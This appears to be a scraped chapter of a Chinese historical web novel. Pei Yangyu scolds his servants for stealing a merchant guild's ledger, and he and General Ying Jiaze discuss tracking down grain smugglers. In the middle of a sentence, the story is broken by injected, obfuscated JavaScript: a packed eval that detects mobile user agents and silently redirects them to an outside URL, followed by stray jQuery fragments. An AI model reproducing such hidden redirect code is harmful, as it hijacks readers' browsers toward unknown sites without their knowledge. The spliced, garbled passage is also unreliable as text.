裴扬雨的脸上的急色并未因微冷的风缓和几分。入了雅间,稍稍暖和的香炉烟气扑面,更是发现他脸上的颜色下沉到脖颈一处的皮肤。
他自顾自坐下便抬头盯着温逐月和竹声,似乎等他们开口告知实情。
应嘉泽将一盏茶递到裴扬雨面前,笑道:“别板着脸了,你看都把你妹妹吓着了。”
“我的脸色可比今夜的阵仗缓和多了。竹声你说,府里突然起了动静,是因为什么?”裴扬雨伸手按住应嘉泽手中的茶盏,将他的好意生生地堵回去。
竹声低头回话:“郎君,府里的动静确实是因我们而起。我扶娘子到长廊吹风时,无意窥听到两人的阴险勾当,他们意欲倒卖霉米获益,其中还可能牵涉常平司的关系。只是我们不慎发出响动,被他们发觉,想要灭口。怕回席上连累郎君,我便带着娘子一路躲藏,幸得冷泉相护,我们才安然无恙。”
裴扬雨又问:“真的只是因为这件事情,所以才派了这么多的人手去搜寻你们?”
竹声答道:“是,我也觉得奇怪。他们二人为了寻人,竟然能调动府内上下这么多人手。他们追我们追得紧,我想寻了空隙给郎君报信也不成。”
裴扬雨听到竹声的解释后,脸色总算是缓和了一些,“那起火后,你们又在何处?府里的人都转去救火了,那该是你们脱身的最好时机。”
今夜去书房窃取账本一事还未得到裴扬雨的许可。只是当时形势危急,若是不当机立断,趁乱窃取账本,以后再想混进去怕是没有机会了。
“郎君,我们确实在起火后趁乱摸到周行首书房去了。那二人敢想出如此勾当,定然跟周行首的包庇脱不开关系,若是能拿到账本,那便可以借此给他们定罪了。”
一旁的冷泉忽而站出来,屈身为竹声开脱,“郎君,是我提议去拿账本的,也是我带着竹声去拿账本的。郎君若要怪罪,冷泉愿意承担一切罪责。”
裴扬雨淡淡地扫了一眼,垂头站着的温逐月,问:“你们带着娘子一同到书房去窃取账本了?”
竹声道:“是,娘子还帮了我们很大的忙,一眼便从几本厚账本中,找到了所需的那一本。”
“胡闹。”裴扬雨皱着眉,“今夜你们能脱身还好说,若是你们被发现了,还带着娘子一道,还以为能这么容易逃跑吗?若是娘子出了事,这罪责你们谁来担当?”
竹声连忙跪下,冷泉也屈身请罪,“郎君恕罪,是我们考虑不周,未顾及娘子的安危,也未征得郎君同意便贸然动手,请郎君责罚。”
应嘉泽怕裴扬雨真的动气,便开口缓和其中的冷凝,“玉安,消消气,如今不是没事吗?他们也是好心,当时这么危急的情况下,只得一根筋去想事情了,当时混乱,二人就一心想着去摸账本了,想来也是迫不得已,只能带着温娘子一道去。你看温娘子毫发无损地回来,便知道他们虽然行事莽撞,但也是有将温娘子的安危系在心上的。温娘子遭了今夜之事,定是吓坏了,如今你还在这里问罪,这不是让温娘子更为心惊吗?”
裴扬雨淡淡道:“人没事,才有你轻言一句,若是真的出了事,那便是牵一发而动全身的大祸。”
应嘉泽见他的面色慢慢归于平静,心里才松了一口气,“是,也没说不罚他们二人。念在他们二人将功补过的份上,这责罚也就轻一些。温娘子,你说是不是。”
冷不防被应嘉泽提及,温逐月颤了颤,仍是低着头,不敢说话。
“对了,光顾着说这事,忘记同温娘子说清楚,我与你兄长相交的渊源了。我与你兄长乃自小相识的好友,平日也多有往来。你得了失魂症后,什么也记不得了。”
应嘉泽顺势岔开话:“你的兄长怕吓到你,让你心中有负担,便给我编了一个假身份,也并非是故意瞒你。上回也是我玩心重,在铺子里与你开了个玩笑,还请温娘子见谅。”
温逐月下意识抬头看了裴扬雨一眼,似乎想要向他求证应嘉泽说话的真伪。
“是,确系如此。”裴扬雨迎上温逐月的目光,只是不冷不热附和一句。
温逐月心中渐渐有了思量。他们家中能在庐江立足,原来是因着父母辈的相识,时至今日,温家在生意上能撑起门面,多半是仰仗兄长好友的缘故。
也难怪兄长虽为商贾出身,却如此傲气,性子又这么直,原来也是因为有这位应将军给他撑腰。
温逐月屈身向应嘉泽行礼:“多谢应将军对兄长和我的照拂。今夜若非应将军解围,我们怕是难以脱身。”
应嘉泽抬手让她起身又勾了勾裴扬雨的肩膀,笑了笑,“我与你兄长的情分在此,无需再言谢了。今夜你兄长虽然生气,但也是忧心你的安危,所以一时之下才说了些气话,其实无意责怪你。”
“只是你兄长这人嘴巴硬,不知道怎么说好话,相信温娘子比我更清楚你家兄长的脾气,应是不会因此埋怨的。”
裴扬雨暗地用手肘捅了捅应嘉泽,咬牙切齿笑道:“多谢应将军好心宽慰舍妹了。”
“好了,闹了一夜也够了,想必你也累了。”裴扬雨看了温逐月一眼,吩咐道:“竹声,你先带娘子回去,再让王妈妈给娘子熬一碗安神汤。”
温逐月眼睛稍稍变亮了,盯着仍安然坐着的裴扬雨,“兄长不一起回去吗?”
想到今夜,温逐月到底是因为他的算计所累,裴扬雨难得语气放柔了些:“今日之事,我可是欠了应将军一个大的人情,我总得要留下饮几杯,谢过将军。过后我便会归家。”
裴扬雨目送着温逐月的身影渐行渐远,见门合上又倏忽收回视线。
门合上的一瞬,应嘉泽察觉到他恢复平常的神色,揶揄道:“玉安,你对你这名义上的妹妹,好像越来越上心了。”
“你无需打趣我,她的重要性不言而喻。若是她今夜出了差错,那许多事的线索便断了。”裴扬雨从桌上挑了一个橘子,捏着橘子的手一张一合,橘子便在两掌之间重复翻滚。
“倒是你,今夜怎么会搅这趟浑水?”裴扬雨扫了应嘉泽一眼:“别同我说你是恰巧路过?”
应嘉泽笑着从裴扬雨的手中抢过橘子,慢条斯理地给橘子剥皮,“永国公的安危,我时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203538|181261||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刻挂牵。听保护你的暗卫提起,你有到庐江商会赴宴的计划,我便提前着人布置摸进去了。”
“那些沾了铜臭味的人,可是一个比一个精明,我是怕你遭了他们的算计,不想今夜真的出事了。”
裴扬雨喝了一口已经放凉的茶水,耸眉道:“今日确实多亏你解围了,看方才的架势,若不是你在,今夜我们定没有这么容易能脱身。”
应嘉泽将橘子肉剥好,掰了一瓣放进嘴里嚼了嚼,“这橘子不酸,就不给你吃了。”继而又道:“我知道你收到消息,定然会有所行动,我想拦也拦不住你。要不是我的身份所限,不方便出面查探此事,我早该将事情查得清清楚楚,再告诉你,也省得你冒险走一趟了。”
“那两个人的身份想来你已经查探清楚了,账本眼下又在何处?”
裴扬雨回想应嘉泽造出的捉刺客闹剧,明白府里的暗线已经悄悄给他传递了消息,所以今夜才能里应外合唱这么一出。
应嘉泽朝冷泉扬扬下巴,冷泉便一五一十地禀报:“那曾大郎和王二郎,是从外乡来做粮食生意的人。这两年内,做生意发迹,成了庐江买卖粮食的大户,也颇得商会的重用,国公和将军见今夜周行首出言为二人辩解,便明白他们之间的联结不浅。”
“今夜听到竹声提及,二人意欲买卖霉米赚取差价,还在常平司内有相熟之人,想法娴熟,可知他们不是第一次干这种勾当了。竹声说起,他们赚钱是为了筹钱上交,若是以钱为本,大业成后,他们必然为功臣。这两人就是我们要找的筹措钱财的头目。”
“亏得将军提前寻人模仿商会账房先生,伪造账本,今夜才能偷龙转凤,将真的账本带出。商会将账本做了两份,一份是各商户真实缴纳的钱款,而另一本上写的缴纳钱款可比这一本上的钱足足少了一小半,可见周行首的手脚也不清白。”冷泉说罢,从怀里取出账本,双手递上。
裴扬雨眉头轻拧,略略翻阅了几页便找到了两人上捐的钱款,话里难掩严肃之意:“两个来庐江的外乡人,能两年之内在庐江立足又能比旁人都多缴纳商会钱款,这钱的来路是否清正便显然可知了。等周行首反应过来,他手上的账本是假的,定当怀疑曾大和王二,到时一定会对这二人下手。若想顺着他们继续查,我们手上便要握着曾大和王二。”
应嘉泽擦了擦手,点头道:“出了今夜的事,周行首也不会安心放他们归去的,我已经假借周行首的名由拿下曾大和王二了。今夜你也累了,明日再审他们。”
裴扬雨点点头:“算你聪明,将人都好言好语请出去,不然也难下手从周行首手里抢人。”
应嘉泽笑道:“永国公谬赞了,若真能层层剥丝抽茧,将庐江支持先太子遗孤的多事之人一个个揪出来,破除他们的阴谋,无论温逐月恢复记忆与否,以她为挟,与云山寨寨主做交易再将云山寨一网打尽便容易了。”
裴扬雨眼底的颜色沉了沉,微微勾唇苦笑道:“如今毫无进展,还是待到那一日再说罢。”
话一出口,裴扬雨愣了神,总觉得心里好似蒙上了一层迷雾。